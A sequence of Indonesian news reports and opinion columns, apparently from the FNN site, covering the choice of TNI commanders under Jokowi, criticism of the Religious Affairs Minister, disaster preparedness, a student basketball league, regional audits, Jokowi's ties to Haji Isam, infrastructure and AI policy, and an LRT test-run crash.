Oleh Selamat Ginting KALI ini Presiden Jokowi kesulitan menentukan siapa pengganti Marsekal Hadi Tjahjanto untuk menjadi Panglima TNI. Sesungguhnya jika Jokowi mau, pada Desember 2020 lalu, bisa saja ia mengganti Hadi. Mengingat pada Desember 2020 itu, Hadi sudah tiga tahun menjadi Panglima TNI. Namun ternyata Hadi terus melanjutkan kariernya hingga empat tahun kurang satu bulan. Padahal rata-rata masa jabatan Panglima TNI di era reformasi pada kisaran 2-3 tahun. Bagaimana sesunggunya pola Jokowi memilih Panglima TNI? Mari kita telusuri alurnya sejak periode pertama pemerintahannya. Memang selama Jokowi menjadi presiden, baru dua kali ia memilih panglima TNI. Pertama kali ia memilih Jenderal Gatot Nurmantyo (GN) menggantikan Jenderal Moeldoko. Moeldoko merupakan panglima TNI pilihan Presiden Susilo Bambang Yudhoyono (SBY). Ia menjadi panglima peralihan pemerintahan SBY ke Jokowi. Dimulai pada 30 Agustus 2013 hingga 8 Juli 2015. Sehingga Moeldoko yang ikut pemerintahan SBY selama satu tahun dua bulan, lanjut ‘mencicipi’ awal pemerintahan Jokowi selama kurang dari sembilan bulan. Di situ Jokowi mulai kenal siapa Moeldoko, termasuk loyalitasnya terhadap dirinya. Jadi, panglima TNI pertama pilihan Jokowi bukan Moeldoko, justru Jenderal GN. Pilihan Jokowi terhadap Gatot adalah kejutan politik bila dikaitkan dengan UU No.34 Tahun 2004 tentang TNI. Terutama pada pasal 13 yang berbunyi: "Jabatan Panglima dapat dijabat secara bergantian oleh perwira tinggi aktif dari tiap-tiap Angkatan yang sedang atau pernah menjabat sebagai Kepala Staf Angkatan." Jika dikaitkan dengan kalimat tersebut, maka rotasi dari Moeldoko kepada Gatot, jelas tidak bergantian. Namun, ada multitafsir pada kalimat ‘dapat dijabat secara bergantian’. Artinya bisa dapat, bisa juga tidak dapat (bergantian). Di sini dibuktikan, Moeldoko yang berasal dari matra darat kembali ke Gatot yang juga berasal dari matra darat. Awalnya tentu mengherankan. Sebab, Panglima TNI sebelum Moeldoko adalah Laksamana Agus Suhartono. Jadi, setelah Agus Suhartono dari matra laut maka diberikan kepada Moeldoko dari matra darat. Sehingga diperkirakan yang akan menggantikan Moeldoko dari matra udara, yakni Marsekal Agus Supriatna. Agus Supriatna alumni AAU tahun 1983 dari Korps Penerbang Tempur, memenuhi persyaratan untuk menjadi panglima TNI. Kekurangannya memang satu, yakni bintang tiganya hanya berumur tidak lebih dari sepekan. Jabatan bintang tiganya hanya selama dua hari saja sebagai Kepala Staf Umum TNI. Jadi hanya sebagai persyaratan formal untuk menjadi Kepala Staf Angkatan Udara (KSAU). Sehingga kematangannya belum teruji untuk memimpin Mabes TNI. Hal ini antara lain, membuat Jokowi memutuskan menunjuk KSAD Jenderal GN. Gatot lulusan Akmil 1982. Satu tahun lebih senior daripada KSAU Marsekal Agus Supriatna maupun KSAL Laksamana Ade Supandi, yang juga lulusan AAL 1983. Gatot pun lebih matang dalam jabatan bintang tiga, sebagai Komandan Kodiklatad serta Panglima Kostrad. Lebih berbobot dan lebih meyakinkan untuk memimpin tiga matra daripada Agus Supriatna. Sedangkan Ade Supandi ‘terganjal’ jatah matra laut, sebab sebelum Moeldoko, Panglima TNI-nya adalah Laksamana Agus Suhartono dari matra laut. Jadi begitulah alur mengapa Jokowi akhirnya memilih GN. Namun dalam perjalanannya, akhirnya Jokowi merasa tidak pas dengan GN. Ada kebijakan politik Jokowi yang tidak sinkron dengan GN, terutama dalam menghadapi kelompok ‘Islam politik’. Keduanya berbeda sikap. Hal ini tampaknya menjadi jalan pemisah keduanya. Buntutnya, Jokowi mencopot GN, tiga bulan sebelum masa pensiunnya tiba. Ia tidak memberikan kesempatan kepada GN untuk menuntaskan jabatannya hingga Maret 2018. Gatot ‘dipenggal’ pada Desember 2017. Operasi ‘memenggal’ GN dilakukan dengan tanpa memberitahukan terlebih dahulu kepada yang bersangkutan. Melalui upaya diam-diam, utusan istana mengirimkan surat presiden (surpres) kepada DPR mengirimkan nama KSAU Marsekal Hadi Tjahjanto untuk menggantikan GN pada Desember 2017. Sebuah kejutan politik di akhir tahun 2017. Gatot terperengah, ia coba ‘melawan’ dengan membuat keputusan kontroversial. GN melakukan mutasi dan promosi jabatan perwira tinggi TNI yang tidak ‘biasa’. Antara lain menjadikan Mayjen Sudirman sebagai panglima Kostrad menggantikan Letjen Edy Rahmayadi. Edy sudah meminta pensiun dini kepada GN untuk persiapan menjadi bakal calon gubernur Sumatra Utara. Surat keputusan Panglima GN yang kontroversial di ujung kariernya itu, langsung dibatalkan ketika Marsekal Hadi resmi dilantik dan memegang tongkat komando Panglima TNI. De-gatot-isasi pun terjadi. Orang-orang lebel GN tersingkir dari pusaran. Mayjen Sudirman pun batal menjadi Panglima Kostrad dan otomatis gagal naik pangkat menjadi letjen. Ia ‘dimaafkan’ di akhir kariernya dengan tetap diberikan promosi jabatan sebagai Komandan Kodiklat TNI dengan kenaikan pangkat bintang tiga. Tapi hanya berumur tak lebih sepekan, kemudian pensiun. Begitulah dramaturgi yang terjadi di Cilangkap, markas besar TNI. Dramaturgi adalah sebuah teori yang mengemukakan bahwa teater dan drama mempunyai makna yang sama dengan interaksi sosial dalam kehidupan manusia. *) Pengamat komunikasi politik dan militer dari Universitas Nasional (Unas) Jakarta. Kandidat doktor ilmu politik. Dosen Fakultas Ilmu Sosial dan Ilmu Politik (FISIP) Unas. Wartawan senior yang banyak mengamati masalah politIk pertahanan keamanan negara.

Kekacauan Apalagi yang Akan Dibuat Yaqut Besok?

By M Rizal Fadillah AKHIRNYA kedewasaan dan pemahaman agama Menteri Agama Yaqut Qoumas terpaksa dipertanyakan. Tidak ajeg kebijakan Kementriannya. Terlalu kuat kepentingan politik yang dibawanya sehingga watak kenegarawanan yang semestinya melekat menjadi hilang. Di negara yang normal, orang seperti Yaqut sudah harus berhenti atau diganti. Terhitung hingga kini ada empat kontroversi yang telah dilakukan olehnya sejak pelantikan. Pertama, soal afirmasi Syi'ah dan Ahmadiyah. Hal sensitif di kalangan umat Islam ini malah digembor-gemborkan perlindungannya. Seolah menantang. Kedua, doa awal acara untuk semua agama. Jika kini acara Kemenag diawali dengan pembacaan Qur'an maka ke depan ia ingin semua agama melantunkan doa-doanya. Ketiga, ucapan selamat hari raya Baha'i Naw Ruz 178 EB. Saat tak ada angin tak ada hujan tiba-tiba Menteri Yaqut muncul di media mengucapkan selamat hari raya agama Baha'i. Dan keempat, keberadaan Kemenag yang merupakan hadiah bagi NU. Yaqut tidak baca sejarah bahwa pembentukan Kemenag diawali gagasan Moh. Yamin di sidang BPUPKI dan digoalkan oleh tokoh-tokoh Masyumi non NU di KNIP. Menteri Agama pertama yang diangkat Soekarno pun adalah HM Rasyidi tokoh Muhammadiyah. Awalnya diperkirakan penggantian Menteri Agama Fahrur Rozi yang gemar mengangkat isu radikalisme ini akan mengubah kondisi keagamaan ke arah yang lebih baik. Ternyata ngototnya NU untuk merebut jabatan Menag tidak diimbangi dengan kualitas figur yang menjabatnya. Yaqut bukan figur terbaik bahkan terlalu mentah. Semestinya Jokowi segera mengganti sang Menteri. Namun diamnya membuat ragu akan ketegasan sikap politiknya. "Bukan urusan saya" mungkin ungkapnya. Padahal Jokowi dahulu pernah menyatakan bahwa tidak ada visi Menteri, yang ada adalah visi Presiden. Jadi, jika tidak ada tindakan apa-apa, maka kontroversi Yaqut adalah cermin dari kontroversi Jokowi juga. Kini dengan kecemasan tinggi rakyat khususnya umat Islam terpaksa menunggu kira-kira kekacauan apa lagi yang akan dilakukan oleh Menteri Agama Yaqut Cholil Qoumas besok? *) Pemerhati Politik dan Kebangsaan

Lamongan Antisipasi Potensi Bencana Hidrometeorologi

Lamongan, FNN - Pemerintah Kabupaten Lamongan, Jawa Timur menyiapkan antisipasi terjadinya potensi bencana hidrometeorologi, dengan memantau langsung kesiapsiagaan Badan Penanggulangan Bencana Daerah (BPBD) setempat. Bupati Lamongan, Yuhronur Efendi di Lamongan, Senin mengatakan, kesiapsiagaan yang ditekankan pada pemantauan itu adalah sumber daya manusia (SDM) serta kesiapan transportasi, sarana dan prasarana, hal ini untuk memberikan pelayanan dan perlindungan kepada masyarakat agar terhindar dari risiko bencana. "Melihat besarnya ancaman bencana alam hidrometeorologi, maka kami perlu terus meningkatkan kewaspadaan, terlebih saat ini akan memasuki musim penghujan, dimana berdasarkan data dari BMKG Jawa Timur, musim hujan sebagian besar akan terjadi pada November dan puncaknya Januari hingga Februari tahun 2022," ujar Yuhronur, saat memimpin Apel Gelar Pasukan dan Peralatan antisipasi bencana. Yuhronur, dalam siaran persnya mengatakan, beberapa langkah mitigasi juga telah dilakukan, salah satunya terhadap banjir, longsor, banjir bandang, angin puting beliung hingga badai tropis lainnya. Ia menjelaskan, intensitas bencana hidrometeorologi yang masih terus terjadi akan ada kecenderungan meningkat eskalasinya, dan hal itu sangat dipengaruhi adanya perubahan iklim global yang tidak bisa dipungkiri. "Bahkan berdasarkan data BMKG, musim hujan saat ini dimungkinkan mengalami peningkatan intensitas curah hujan, dikarenakan adanya fenomena anomali cuaca, dengan ditandai munculnya fenomena La Nina yang dapat memicu peningkatan curah hujan hingga 20 sampai 70 persen," katanya. Yuhronur mengajak semua pihak untuk bersama-sama melakukan antisipasi meminimalisir dampak-dampak yang akan timbul dari bencana tersebut. "Ini merupakan bentuk wujud komitmen bersama, siap siaga menghadapi bencana alam serta memberikan bantuan secara optimal kepada masyarakat yang tidak bisa dihindari terdampak bencana, dan tentunya semua harus sudah disesuaikan dengan protokol kesehatan sehingga tidak memunculkan klaster baru dalam penyebaran COVID-19," katanya. Sementara itu, bencana hidrometeorologi merupakan sebuah bencana yang diakibatkan oleh parameter meteorologi, seperti curah hujan, kelembapan, temperatur dan angin. Banyak bencana yang termasuk ke dalam bencana hidrometeorologi, antara lain kekeringan, banjir, badai, kebakaran hutan, El Nino, La Nina, longsor dan berbagai bencana lainnya. (mth)

DBL Dinilai Berkaitan dengan Desain Besar Olahraga Nasional

Jakarta, FNN - Kompetisi bola basket pelajar Developmental Basketball League (DBL) dinilai berkaitan erat dengan Desain Besar Olahraga Nasional (DBON) berdasarkan Perpres No. 86 karena basket merupakan salah satu dari tiga cabang olahraga yang didorong menjadi sports industry. "Pemerintah memiliki kepentingan terlebih memiliki DBON. 14 cabang olahraga yang didorong untuk olahraga prestasi dan tiga cabang yang kita dorong untuk industri atau sport industry yaitu sepak bola, bola basket dan bola voli,” kata Menpora Zainudin Amali dalam keterangan resminya, Senin. "Saya mendukung kompetisi ini (Honda DBL). Sebab, di kompetisi itulah para atlet bisa dilihat kemampuan dari hasil latihannya.” katanya menambahkan. DBL Indonesia mulai bergulir dan DKI Jakarta menjadi tuan rumah pertama. Laga sendiri berlangsung di Gelanggang Remaja (GOR) Cempaka Putih, Jakarta dan telah berakhir Sabtu (23/10). SMA Bukit Sion kembali menjadi yang terbaik di sektor putra dan tim SMAN 70 Jakarta atau Seventy menjadi yang terbaik di sektor putri. Menpora Amali menjelaskan bahwa ujung dari semua pembinaan cabang olahraga adalah bisa menghasilkan tim nasional yang baik. Pemerintah melalui Desain Besar Olahraga Nasional (DBON) sangat berkepentingan untuk itu. “Itulah sebabnya, saya sangat memiliki kepentingan terhadap kompetisi di semua cabang olahraga harus berjalan. DBL ini diikuti para pelajar yang nantinya menjadi bibit atlet yang kita harapkan nanti bisa masuk ke klub-klub dan ujungnya mengisi tim nasional kita,” kata Menpora Amali. Politisi dari Partai Golkar itu menerangkan kesuksesan Honda DBL di DKI Jakarta diharapkan bisa juga diikuti dengan penyelenggaraan di luar Jawa-Bali. Pihaknya juga akan memfasilitasi dengan membuka komunikasi kepada Menko Perekonomian sekaligus penanggung jawab PPKM di Luar Pulau Jawa dan Bali, Airlangga Hartarto. "Sukses di Jawa-Bali, semoga juga bisa sukses di luar Jawa dan Bali,” katanya menegaskan. Sementara itu, CEO dan Founder DBL Indonesia Azrul Ananda mengucapkan terima masih atas peran Menpora yang jadi garda terdepan selama proses perizinan hingga pelaksanaan Honda DBL musim 2021-2022. “Terima kasih banyak, bapak Menpora punya peran penting dalam keberlangsungan Honda DBL tahun ini, jauh sebelum dimulainya Honda DBL, Beliau sudah berbicara pada atlet pelajar untuk tetap bersiap jika sewaktu-waktu Honda DBL berlangsung seperti sekarang ini,” kata Azrul. Setelah sukses Seri DKI Jakarta, Honda DBL 2021-2022 akan berlanjut di Surabaya (Seri Jawa Timur), 27 Oktober- 21 November. Lalu, berlanjut Seri Jabar di Bandung (6-18 November), Seri Bali di Denpasar (17-25 November), serta Seri DI Yogyakarta (23 November-3 Desember). Serta, seri-seri berikutnya se-Indonesia yang totalnya mencapai 22 provinsi dari Aceh sampai Papua. (mth)

Kemenkeu Harapkan WTP Berbanding Lurus dengan Kesejahteraan Rakyat

Padang, FNN - Kementerian Keuangan berharap pencapaian opini Wajar Tanpa Pengecualian pada Laporan Keuangan Pemerintah Daerah yang diaudit oleh Badan Pemeriksa Keuangan dapat berbanding lurus dengan kesejahteraan masyarakat setempat. "Hingga 2020, ada 17 kabupaten kota di Sumbar yang berhasil mencapai opini WTP 5 kali berturut-turut dan 19 Pemda berhasil memperoleh opini WTP atas LKPD 2020," kata Kepala Kanwil Ditjen Perbendaharaan (DJPb) Sumbar Heru Pudyo Nugroho selaku perwakilan Kementerian Keuangan di Padang, Senin. Ia menyampaikan hal itu pada penyerahan penghargaan kepada Pemerintah Daerah atas capaian WTP dan Penandatanganan Nota Kesepakatan Sinergi antara Kanwil DJPb dengan Pemprov Sumatera Barat dihadiri Gubernur Sumbar Mahyeldi. Menurut dia hal tersebut merupakan prestasi yang membanggakan di tengah pandemi, namun diharapkan berbanding lurus dengan indikator kesejahteraan masyarakat. Ia mengemukakan berdasarkan pemeriksaan BPK, dihasilkan pendapat atas kewajaran informasi keuangan yang disajikan dalam laporan keuangan pemerintah daerah tersebut. "Opini WTP merupakan opini tertinggi yang diberikan BPK yang menunjukkan bahwa laporan keuangan telah disajikan secara wajar dalam semua hal yang material dan sesuai dengan prinsip akuntansi yang berlaku di Indonesia," kata dia. Daeran yang mendapatkan opini WTP mendapatkan penghargaan sebagai tindak lanjut dari kegiatan Rakernas Akuntansi dan Pelaporan Keuangan Pemerintah Tahun 2021. Penghargaan akan diberikan dalam bentuk Plakat kepada Pemerintah Daerah yang berhasil meraih 5 kali, 10 kali, dan 15 kali WTP berturut-turut hingga tahun 2020 dan Piagam kepada Pemerintah Daerah yang meraih WTP pada tahun 2020. Pada sisi lain ia menyampaikan pertumbuhan ekonomi Sumatera Barat telah mengalami pertumbuhan yang signifikan. Hingga triwulan II 2021, kebijakan fiskal yang diterapkan pemerintah, baik pemerintah pusat maupun daerah melalui instrumen APBN dan APBD, mampu mendorong pertumbuhan ekonomi Sumatera Barat mencapai 5,76 persen atau mengalami pertumbuhan signifikan jika dibandingkan dengan periode yang sama pada tahun sebelumnya yang terkontraksi sebesar 4,92 persen. "Perbaikan tersebut terutama didorong oleh pemulihan ekonomi global yang semakin kuat dan akselerasi stimulus fiskal yang berlanjut.” ujarnya. Menurut Heru untuk dapat menjaga momentum pertumbuhan ekonomi pasca pandemi COVID-19, kebijakan investasi pemerintah menjadi faktor yang cukup krusial. (mth)

Dari Melbourne, Denny Indrayana Kritik Pertemuan Jokowi - Haji Isam

Jakarta, FNN - Mantan Wakil Menteri Hukum dan HAM Denny Indrayana menyatakan ada dua kejadian di Kalimantan Selatan yang perlu dikritisi dan dicermati selama satu pekan terakhir antara Presiden Jokowi dan Haji Isam. Pertama, pada hari Kamis (21/10/2021) lalu, Presiden Jokowi dalam kunjungannya ke Tanah Bumbu, Kalimantan Selatan, meresmikan pabrik biodiesel yang didirikan PT Jhonlin Group milik Samsudin Andi Arsyad alias Haji Isam. Kedua, keesokan harinya, Jumat (22/10/2021) lalu, Advokat Jurkani yang sedang melakukan langkah advokasi atas suatu penambangan ilegal juga di daerah Tanah Bumbu, dibacok oleh sekelompok orang yang menyebabkan Jurkani luka parah di kaki dan tangannya. Kedua peristiwa tersebut, meskipun seakan-akan terpisah, sebenarnya menunjukkan satu benang merah, bagaimana politik bisnis batu bara bisa masuk ke dalam kepentingan politik dan penegakan hukum di tanah air. Yang pertama, kehadiran Presiden Jokowi meresmikan proyek yang didirikan oleh Johnlin Grup, yang dimiliki Haji Isam, seakan-akan tidak ada masalah—dalam kondisi normal. Namun, sudah menjadi pemberitaan luas bahwa anak perusahaan Johnlin Grup sedang diduga terjerat perkara korupsi suap pembayaran pajak yang kasusnya sedang disidik KPK, bahkan kasusnya pun sedang disidang di Pengadilan Tindak Pidana Korupsi Jakarta. Dalam persidangan bahkan ada saksi yang memberikan keterangan bahwa Haji Isam diduga terlibat dalam proses penyuapan kepada pegawai pajak tersebut. Memang saksi tersebut pun akhirnya dilaporkan Haji Isam ke kepolisian karena dianggap mencemarkan nama baiknya. Laporan demikian tentu menjadi tantangan berat bagi LPSK untuk menjalankan sistem perlindungan saksi di tanah air (witness protection program). Dalam kondisi sedang dijerat dugaan kasus demikian—meskipun kita semua paham dengan asas praduga tidak bersalah—adalah lebih etis dan bijak jika Presiden Jokowi tidak meresmikan proyek yang dimiliki oleh Johnlin Grup. Kehadiran Presiden Jokowi bagaimanapun akan menimbulkan persepsi politik hukum, bahwa Presiden melindungi Johnlin Grup dan Haji Isam. Di tengah sistem penegakan hukum yang masih rentan dari intervensi keuangan dan kekuasaan, maka kehadiran Presiden Jokowi jelas adalah tindakan yang tidak pas dan amat rentan dikritik sebagai tindakan yang tidak etis. Memang, belum secara gamblang termasuk kategori menghalang-halangi proses penegakan hukum (obstruction of justice), namun paling tidak mempunyai batas yang sangat tipis dengan menggunakan kekuasaannya (trading of influence) untuk mempengaruhi proses penegakan hukum, utamanya di KPK dan Pengadilan Tipikor. Sedekat apapun relasi kuasa dan dana antara Presiden dengan Johnlin Grup dan Haji Isam, tetap ada batas-batas etika bernegara yang sangat ketat yang seharusnya dijunjung tinggi oleh Presiden Jokowi. Bukan hanya semata untuk menjaga proses penegakan hukum yang bebas dari intervensi siapapun, tetapi lebih jauh untuk menjaga marwah Presiden dan Negara dalam berhubungan dengan benturan kepentingan, utamanya ketika berhadapan dengan pengusaha dan oligarki yang memang punya kedekatan relasi dengan diri sang Presiden. Sudah menjadi rahasia umum bahwa Presiden Jokowi, kalangan istana, partai politik, dan banyak elit serta pejabat negara memang dekat dengan Johnlin Grup dan Haji Isam. Tepat setahun lalu, pada hari Kamis juga (22/10/2020), Presiden Jokowi telah pula meresmikan pabrik gula yang dimiliki Johnlin Grup di Kabupaten Bombana, Sulawesi Tenggara. Saat itu, tidak terlalu problematik, karena belum muncul kasus pajak yang terkait dengan Johnlin Grup di KPK. Salahkah Presiden meresmikan suatu proyek? Tentu tidak. Termasuk jika pun yang memiliki proyek tersebut pernah membantu pendanaan kampanye dalam pemilihan presidennya. Namun, sekali lagi, masalah utamanya adalah secara etika kalau pemilik proyek tersebut diduga sedang terjerat kasus hukum yang sedang berjalan, dan ada keterangan saksi dan bukti-bukti yang mengarah kepada dugaan tindak pidana korporasi maupun pribadi sang pemilik proyek. Seorang Presiden tentunya harus sangat sadar dan paham soal etika hukum bernegara yang demikian. Hal selanjutnya, terkait pembacokan terhadap Advokat Jurkani, yang sedang mengadvokasi persoalan penambangan ilegal batu bara. Perbuatan biadab demikian bukan hanya tindak pidana yang menciderai profesi advokat yang harus dilindungi, tetapi lagi-lagi menunjukkan politik bisnis batu bara di Kalimantan Selatan, khususnya di Tanah Bumbu, memang penuh tantangan dan seringkali beririsan dengan tindak kekerasan, tindak pidana, dan praktik-praktik mafioso. Polisi diberitakan sudah menangkap dua pelaku pembacokan. Namun, tidak sulit untuk mengkritisi, bahwa harusnya aparat penegak hukum menjerat pelaku utamanya. Tindakan penambangan ilegal yang dilakukan dengan memasukkan alat-alat berat tentulah sangat mudah untuk membuktikan siapa penyandang dana dan pelaku utamanya. Menangkap pelaku pembacokan semata—atau hanya mengatakan tragedi tersebut hanya karena minuman keras, amat patut dikritisi. Pastilah tidak mudah bagi KPK dan polisi untuk mengungkap siapa pelaku utama dugaan penyuapan pajak yang terkait Johnlin Grup ataupun dalang utama dibalik pembacokan advokat Jurkani. Tetapi disinilah profesionalitas dan integritas aparat penegak hukum kita diuji dan dipertaruhkan. Di Kalimantan Selatan penegakan hukum kita kembali diuji, apakah tajam tanpa pandang bulu, atau kembali lumpuh karena godaan kekuasaan dan keuangan. (sws)

PUPR Dorong Pendekatan Kewilayahan Pembangunan Kawasan Timur Indonesia

Jakarta, FNN - Kementerian Pekerjaan Umum dan Perumahan Rakyat atau PUPR melalui Badan Pengembangan Infrastruktur Wilayah (BPIW) mendorong pembangunan di Kawasan Timur Indonesia (KTI) dengan pendekatan kewilayahan. Kepala BPIW Rachman Arief Dienaputra mengatakan, berbagai upaya tetap dilakukan demi kemajuan KTI meskipun dihadapkan pada isu dan tantangan pembangunan infrastruktur PUPR, upaya pencapaian target output, serta keterbatasan anggaran. “Kementerian PUPR senantiasa mendorong peningkatan daya saing KTI melalui pembangunan infrastruktur PUPR yang selaras dengan potensi pengembangan wilayah,” ujar Rachman dalam keterangan tertulis yang diterima di Jakarta, Senin. Pembangunan di Kawasan Timur Indonesia (KTI) terus dilakukan pemerintah. Sehubungan dengan hal itu Kementerian PUPR menggunakan pendekatan kewilayahan sebagai basis pembangunan dalam mendorong pembangunan KTI. Dalam rangka semakin mengoptimalkan manfaat pembangunan infrastruktur PUPR berbasis kewilayahan di KTI, menurut Rachman Kementerian PUPR berharap dapat berkolaborasi dengan Badan Percepatan Pembangunan Kawasan Timur Indonesia (BP2KTI) terutama dalam mewujudkan keterpaduan pembangunan infrastruktur PUPR dan Kawasan Strategis serta keterpaduan infrastruktur PUPR dengan infrastruktur lainnya (lintas sektor dan lintas kewenangan). Pada kesempatan itu ia menjelaskan bahwa ada sejumlah proyek infrastruktur PUPR strategis di KTI seperti Bendungan Raknamo di Nusa Tenggara Barat (NTB), Pembangunan tujuh Pos Lintas Batas Negara PLBN Tahap I (Entikong, Badau, Aruk, Motaain, Motamassin, Wini, dan Skouw), dan beroperasinya empat ruas jalan tol di KTI (Manado-Bitung, Balikpapan-Samarinda, Makassar seksi 4 dan Ujung Pandang Seksi 1-3). Terkait isu-isu strategis pembangunan wilayah timur antara lain kebencanaan, percepatan pembangunan daerah tertinggal, konektivitas antarwilayah, isu penyediaan sumber air baku, penyediaan infrastruktur dasar permukiman khususnya kampung adat, konservasi daya dukung lingkungan, dan pengembangan potensi sektor unggulan. Sementara itu Ketua Umum BP2KTI Fadel Muhammad mengatakan dengan dideklarasikannya BP2KTI dapat dilakukan percepatan pembangunan di KTI seperti pengembangan pariwisata, peningkatan mutu Sumber Daya Manusia (SDM), dan penyediaan infrastruktur dasar yang semakin baik. Menurut dia, BP2TKI didirikan dengan tujuan membantu pemerintah daerah KTI dalam perencanaan berbasis government entrepreneurship sehingga tercipta penganggaran yang efisien dan relevan. Lalu, melaksanakan riset dan kerja sama antarlembaga dalam dan luar negeri yang diwujudkan dalam berbagai sektor pembangunan. Kemudian, pendampingan pemerintah daerah dalam memberikan pertimbangan pengambilan kebijakan pembangunan ekonomi di KTI. “Kita melihat Indonesia suatu rumah besar, KTI satu bilik rumah jangan terpisah dari rumah tadi. Jangan dia tertinggal dari kawasan barat dan tengah Indonesia,” kata Fadel. (mth)

BRIN Dorong Pembangunan Etika, Infrastruktur dan Talenta AI

Jakarta, FNN - Organisasi Riset Pengkajian dan Penerapan Teknologi Badan Riset dan Inovasi Nasional (BRIN) mendorong implementasi peta jalan kecerdasan artifisial Indonesia untuk pembangunan etika, pengembangan talenta, infrastruktur dan data, serta riset dan inovasi industri kecerdasan artifisial. "Kita tidak hanya ingin membangun use case AI (aplikasi yang memanfaatkan kecerdasan artifisial), tapi kita juga perlu menyiapkan seluruh syarat-syarat penting agar AI di Indonesia berhasil," kata perekayasa dari BRIN Asril Jarin dalam konferensi pers Artificial Intelligence Innovation Summit (AIIS) 2021 di Jakarta, Senin. Peta jalan kecerdasan artifisial (AI) Indonesia tersebut, menurut dia, sudah dirancang di dalam Strategi Nasional (Stranas) Kecerdasan Artifisial 2020-2045. Stranas Kecerdasan Artifisial merupakan arah kebijakan nasional dalam pengembangan teknologi kecerdasan artifisial di beberapa sektor prioritas pembangunan nasional, di antaranya sektor kesehatan, reformasi birokrasi, pendidikan dan riset, ketahanan pangan serta mobilitas atau kota cerdas. Asril menuturkan implementasi peta jalan kecerdasan artifisial diharapkan akan mengantarkan Indonesia menuju Indonesia Emas 2045. Perekayasa di Pusat Teknologi Informasi dan Komunikasi (PTIK) BRIN itu mengatakan etika AI perlu dibangun dan disiapkan agar AI memberikan manfaat sebesar-besarnya dengan berbasis pada nilai-nilai Pancasila. "Kita tahu AI adalah kecerdasan, dan kalau kecerdasan itu tidak bermoral, nanti efek sampingnya ada juga terhadap manusia, karena itu pondasi penting penerapan AI di negara kita pun itu perlu juga disiapkan dari sisi etikanya," ujar Asril. Selain itu, perlu juga menyiapkan infrastruktur AI yang memadai karena AI membutuhkan komputasi cepat untuk dapat menghitung data set yang begitu besar, apalagi jika menggunakan teknologi deep learning. Menurut Asril, data set merupakan komponen sangat penting dan pembangunannya juga paralel dengan penyiapan infrastruktur AI. Oleh karenanya, Indonesia perlu menyiapkan pengelolaan dan pembangunan data set yang besar secara komprehensif, menyeluruh dan terkelola dengan baik. Dengan didukung data set yang tersedia dan terkelola baik, maka implementasi inovasi kecerdasan artifisial akan mampu mendorong otomatisasi untuk mendukung pembangunan di seluruh sektor di Indonesia. Dengan demikian, penerapan inovasi AI juga akan menjadi lebih optimal untuk membantu seluruh sektor-sektor yang ada di Indonesia demi kemajuan dan pertumbuhan ekonomi di Indonesia. "Semua peta jalan ini sudah kita rancang dan kita harapkan nanti menjadi bagian dari peraturan presiden," ujar Asril. (mth)

Belum Diresmikan Kereta LRT Cibubur-Jakarta Sudah Tabrakan

Jakarta, FNN - Kereta ringan lintas rel terpadu (LRT) Jabodebek yang tengah dalam tahap uji coba mengalami kecelakaan di jalur layang ruas Munjul, Jakarta Timur, pada Senin (25/10) sekitar pukul 12:25 WIB Corporate Secretary PT Adhi Karya (Persero) Tbk. Farid Budiyanto menyatakan belum mengetahui penyebab kecelakaan dan akan mendalami kejadian tersebut. "Saat ini kami masih mencari informasi lengkapnya, mengingat uji coba kereta merupakan ranah INKA dan KAI sedangkan ADHI sebagai penyedia prasarana. Kami sedang komunikasikan dengan PT KAI dan INKA untuk mendalami kejadian tersebut," kata Farid Budiyanto dalam keterangannya yang dipantau di Jakarta, Senin. Sementara itu, PT KAI dan PT INKA belum memberikan penjelasan terkait peristiwa ini. Uji coba LRT Jabodetabek rute Cibubur-Cawang sudah berlangsung sejak November 2019, seperti dikutip dari laman LRT Jabodetabek. Pada tahap uji coba perdana yang dilakukan pada 28 November 2019 lalu, kereta dijalankan dari Stasiun Harjamukti, Cibubur, hingga TSN 1 sebelum Stasiun Ciracas, Layanan Cibubur-Cawang melewati empat stasiun, dimulai dari Taman Mini Indonesia Indah, Kampung Rambutan, Ciracas, sampai Harjamukti Cibubur dengan panjang Trase 14,5 kilometer. Kesaksian Warga Sejumlah warga Cipayung, Jakarta Timur, mengaku mendengar suara dentuman keras saat terjadi tabrakan LRT Jabodebek di ruas Munjul. Salah satu warga, Erbi (24) mengatakan, mendengarkan adanya dentuman keras sekitar pukul 12.30 WIB. Setelah mendengar suara tersebut, ia lantas mendatangi lokasi dan melihat adanya asap keluar dari badan kereta tersebut. "Ada suara kenceng banget, ledakan dan teriakan kenceng banget, ada asap keluar, warga sekitar pada keluar semua. Saya bilang kereta tuh di situ," katanya. Sementara itu, Isnarti (42) juga mendengar suara dentuman. "Dengar suara ledakan itu, saya sangka mobil atau bannya pecah. Terus orang-orang keluar (rumah), eh ternyata kereta tabrakan. Tapi anak saya yang keluar," tuturnya. Di lokasi terlihat rangkaian LRT tersebut dalam posisi menimpa rangkaian yang lainnya. Zebuah terpal berwarna oranye membentang menutupi rangkaian LRT yang terlibat kecelakaan tersebut. Situasi lalu lintas di ruas Tol Jagorawi di dua arah terpantau ramai lancar. Petugas PJR dan Jasa Marga terlihat mengatur lalu lintas di sekitar lokasi. Kereta Lintas Rel Terpadu (LRT) yang sedang dalam tahap uji coba di jalur layang ruas Munjul, Jakarta Timur, tersebut mengalami kecelakaan pada Senin (25/10). Namun operator kereta ringan tersebut adalah LRT Jabodetabek, bukan PT LRT Jakarta. "Yang viral tersebut merupakan LRT Jabodebek bukan kita," ujar Kepala Divisi Sekretaris Perusahaan PT LRT Jakarta, Ira Yuanita saat dihubungi di Jakarta, Senin. Suku Dinas Penanggulangan Kebakaran dan Penyelamatan (Gulkarmat) Jakarta Timur langsung megerahkan satu unit penyelamatan dari sektor Cipayung untuk ke lokasi. Kepala Seksi Operasional Damkar Gulkarmat Jakarta Timur (Jaktim) Gatot Sulaeman saat dihubungi wartawan di Jakarta, Senin, mengatakan kereta LRT tersebut dalam tahap uji coba dan tidak ada penumpang di dalamnya. "Karena informasi sedang uji coba, katanya kosongan tuh kereta. Tim juga belum juga dapat data akurat," ujar Gatot. (sws, ant)

Egoisme Yaqut, dan Narasi Radikal Jadi Olok-olok

